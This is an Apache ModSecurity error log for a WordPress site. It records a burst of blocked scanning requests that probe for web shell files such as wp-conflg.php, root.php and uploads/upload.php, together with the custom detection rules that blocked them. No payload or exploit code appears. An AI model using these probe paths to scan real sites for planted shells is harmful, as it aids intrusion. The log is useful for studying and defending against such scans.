[Thu May 07 15:25:58.832785 2026] [:error] [pid 15629:tid 15655] [client 98.159.43.108:26617] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "afw-hvrIJCALdUrO43lXuQAAABY"]
[Thu May 07 15:25:59.030622 2026] [:error] [pid 15715:tid 15733] [client 98.159.43.112:51715] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/themes.php"] [unique_id "afw-hyY4dZsLOttMkcde2gAAAQ0"]
[Thu May 07 15:25:59.229457 2026] [:error] [pid 28098:tid 28107] [client 98.159.43.154:60469] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "afw-h8vhwfljlt8trSqJzwAAAEc"]
[Thu May 07 15:25:59.427662 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.129:46245] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "afw-h8vhwfljlt8trSqJ0AAAAFY"]
[Thu May 07 15:25:59.626347 2026] [:error] [pid 15715:tid 15743] [client 98.159.43.136:55115] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/"] [unique_id "afw-hyY4dZsLOttMkcde3AAAARc"]
[Thu May 07 15:25:59.824374 2026] [:error] [pid 15630:tid 15676] [client 98.159.43.118:54835] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wa/"] [unique_id "afw-h3TithRAi4821quPqwAAAJA"]
[Thu May 07 15:26:00.021799 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.133:62189] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/"] [unique_id "afw-iMvhwfljlt8trSqJ0QAAAFI"]
[Thu May 07 15:26:00.223060 2026] [:error] [pid 28098:tid 28101] [client 98.159.43.111:34415] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/404.php"] [unique_id "afw-iMvhwfljlt8trSqJ0gAAAEE"]
[Thu May 07 15:26:00.422436 2026] [:error] [pid 15629:tid 15649] [client 98.159.43.151:48999] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "afw-iPrIJCALdUrO43lXugAAABA"]
[Thu May 07 15:26:00.644568 2026] [:error] [pid 15631:tid 15691] [client 98.159.43.148:26925] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/buy.php"] [unique_id "afw-iHvP1GkPUuuLfqUMygAAAMQ"]
[Thu May 07 15:26:00.843426 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.158:30563] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comment-date/"] [unique_id "afw-iMvhwfljlt8trSqJ1AAAAEA"]
[Thu May 07 15:26:01.040861 2026] [:error] [pid 15631:tid 15701] [client 98.159.43.110:36425] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/admin.php"] [unique_id "afw-iXvP1GkPUuuLfqUMywAAAM4"]
[Thu May 07 15:26:01.243793 2026] [:error] [pid 15631:tid 15688] [client 98.159.43.163:59743] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "afw-iXvP1GkPUuuLfqUMzAAAAME"]
[Thu May 07 15:26:01.444422 2026] [:error] [pid 15629:tid 15634] [client 98.159.43.149:21899] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "afw-ifrIJCALdUrO43lXuwAAAAE"]
[Thu May 07 15:26:01.642690 2026] [:error] [pid 15631:tid 15693] [client 98.159.43.150:35731] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "afw-iXvP1GkPUuuLfqUMzQAAAMY"]
[Thu May 07 15:26:03.421864 2026] [:error] [pid 15715:tid 15736] [client 98.159.43.160:43769] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/themes/about.php"] [unique_id "afw-iyY4dZsLOttMkcde4AAAARA"]
[Thu May 07 15:26:03.620527 2026] [:error] [pid 15629:tid 15650] [client 98.159.43.111:35647] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-conflg.php"] [unique_id "afw-i_rIJCALdUrO43lXvQAAABE"]
[Thu May 07 15:26:03.820296 2026] [:error] [pid 15630:tid 15674] [client 98.159.43.147:28063] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/"] [unique_id "afw-i3TithRAi4821quPrgAAAI4"]
[Thu May 07 15:26:04.018456 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.105:57459] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "afw-jMvhwfljlt8trSqJ2QAAAFY"]
[Thu May 07 15:26:04.216127 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.155:36975] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "afw-jMvhwfljlt8trSqJ2gAAAFI"]
[Thu May 07 15:26:04.415728 2026] [:error] [pid 28098:tid 28119] [client 98.159.43.106:24135] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/panel.php"] [unique_id "afw-jMvhwfljlt8trSqJ2wAAAFM"]
[Thu May 07 15:26:04.621373 2026] [:error] [pid 15715:tid 15739] [client 98.159.43.151:30065] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/"] [unique_id "afw-jCY4dZsLOttMkcde4wAAARM"]
[Thu May 07 15:26:04.822142 2026] [:error] [pid 15715:tid 15722] [client 98.159.43.140:32343] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "afw-jCY4dZsLOttMkcde5AAAAQU"]
[Thu May 07 15:26:05.019647 2026] [:error] [pid 15630:tid 15662] [client 98.159.43.153:31265] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/development/"] [unique_id "afw-jXTithRAi4821quPrwAAAII"]
[Thu May 07 15:26:05.218507 2026] [:error] [pid 15715:tid 15733] [client 98.159.43.123:41717] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/"] [unique_id "afw-jSY4dZsLOttMkcde5QAAAQ0"]
[Thu May 07 15:26:05.415426 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.123:28049] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "afw-jSY4dZsLOttMkcde5gAAAQk"]
[Thu May 07 15:26:05.611948 2026] [:error] [pid 15715:tid 15734] [client 98.159.43.138:61983] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "afw-jSY4dZsLOttMkcde5wAAAQ4"]
[Thu May 07 15:26:05.810343 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.139:48039] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/code/"] [unique_id "afw-jcvhwfljlt8trSqJ3gAAAFg"]
[Thu May 07 15:26:06.008297 2026] [:error] [pid 15715:tid 15718] [client 98.159.43.146:59219] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "afw-jiY4dZsLOttMkcde6AAAAQE"]
[Thu May 07 15:26:06.212636 2026] [:error] [pid 15631:tid 15689] [client 98.159.43.157:64715] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comments-pagination-numbers/"] [unique_id "afw-jnvP1GkPUuuLfqUM0AAAAMI"]
[Thu May 07 15:26:06.410794 2026] [:error] [pid 15631:tid 15708] [client 98.159.43.133:36529] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "afw-jnvP1GkPUuuLfqUM0gAAANU"]
[Thu May 07 15:26:06.610956 2026] [:error] [pid 15631:tid 15706] [client 98.159.43.156:44099] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/includes/"] [unique_id "afw-jnvP1GkPUuuLfqUM0wAAANM"]
[Thu May 07 15:26:06.812414 2026] [:error] [pid 15631:tid 15709] [client 98.159.43.161:32827] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/themes/"] [unique_id "afw-jnvP1GkPUuuLfqUM1AAAANY"]
[Thu May 07 15:26:07.009378 2026] [:error] [pid 15631:tid 15702] [client 98.159.43.108:30111] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/footnotes/"] [unique_id "afw-j3vP1GkPUuuLfqUM1gAAAM8"]
[Thu May 07 15:26:07.207842 2026] [:error] [pid 15631:tid 15697] [client 98.159.43.135:55075] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "afw-j3vP1GkPUuuLfqUM1wAAAMo"]
[Thu May 07 15:26:07.406666 2026] [:error] [pid 15631:tid 15710] [client 98.159.43.156:36021] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "afw-j3vP1GkPUuuLfqUM2QAAANc"]
[Thu May 07 15:26:07.604103 2026] [:error] [pid 15631:tid 15703] [client 98.159.43.117:23121] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "afw-j3vP1GkPUuuLfqUM2wAAANA"]
[Thu May 07 15:26:07.802689 2026] [:error] [pid 28098:tid 28109] [client 98.159.43.107:32011] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/upload.php"] [unique_id "afw-j8vhwfljlt8trSqJ3wAAAEk"]
[Thu May 07 15:26:08.000759 2026] [:error] [pid 28098:tid 28120] [client 98.159.43.117:57663] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-domain.php"] [unique_id "afw-j8vhwfljlt8trSqJ4AAAAFQ"]
[Thu May 07 15:26:08.197740 2026] [:error] [pid 28098:tid 28108] [client 98.159.43.131:57779] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/radio.php"] [unique_id "afw-kMvhwfljlt8trSqJ4QAAAEg"]
[Thu May 07 15:26:08.397876 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.112:50879] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/rip.php"] [unique_id "afw-kMvhwfljlt8trSqJ4gAAAFY"]
[Thu May 07 15:26:08.594447 2026] [:error] [pid 28098:tid 28115] [client 98.159.43.136:46535] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/fukasawa/inc/classes/403x.php"] [unique_id "afw-kMvhwfljlt8trSqJ4wAAAE8"]
[Thu May 07 15:26:08.803909 2026] [:error] [pid 15631:tid 15705] [client 98.159.43.132:30311] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/options.php"] [unique_id "afw-kHvP1GkPUuuLfqUM3AAAANI"]
[Thu May 07 15:26:09.000924 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.138:37565] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/config.php"] [unique_id "afw-kMvhwfljlt8trSqJ5AAAAEs"]
[Thu May 07 15:26:09.198674 2026] [:error] [pid 15630:tid 15665] [client 98.159.43.118:48413] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/src/Content/Type/"] [unique_id "afw-kXTithRAi4821quPsgAAAIU"]
[Thu May 07 15:26:09.396849 2026] [:error] [pid 15631:tid 15709] [client 98.159.43.161:34115] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "afw-kXvP1GkPUuuLfqUM3QAAANY"]
[Thu May 07 15:26:09.595745 2026] [:error] [pid 15715:tid 15732] [client 98.159.43.106:51453] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/freeform/"] [unique_id "afw-kSY4dZsLOttMkcde6QAAAQw"]
[Thu May 07 15:26:09.790581 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.130:53641] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "afw-kcvhwfljlt8trSqJ5wAAAEM"]
[Thu May 07 15:26:09.987111 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.142:26093] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "afw-kcvhwfljlt8trSqJ6AAAAFg"]
[Thu May 07 15:26:10.184822 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.112:43995] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/neve/assets/apps/dashboard/build/"] [unique_id "afw-ksvhwfljlt8trSqJ6QAAAFU"]
[Thu May 07 15:26:11.858018 2026] [:error] [pid 15629:tid 15656] [client 98.159.43.114:63793] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/"] [unique_id "afw-k_rIJCALdUrO43lXwQAAABc"]
[Thu May 07 15:26:12.059324 2026] [:error] [pid 15629:tid 15647] [client 98.159.43.131:33099] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afw-lPrIJCALdUrO43lXwgAAAA4"]
[Thu May 07 15:26:12.257322 2026] [:error] [pid 28098:tid 28107] [client 98.159.43.155:28411] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/"] [unique_id "afw-lMvhwfljlt8trSqJ6gAAAEc"]
[Thu May 07 15:26:12.457612 2026] [:error] [pid 15715:tid 15735] [client 98.159.43.116:36251] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/"] [unique_id "afw-lCY4dZsLOttMkcde6gAAAQ8"]
[Thu May 07 15:26:12.657512 2026] [:error] [pid 15715:tid 15721] [client 98.159.43.134:48203] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comment-content/"] [unique_id "afw-lCY4dZsLOttMkcde7AAAAQQ"]
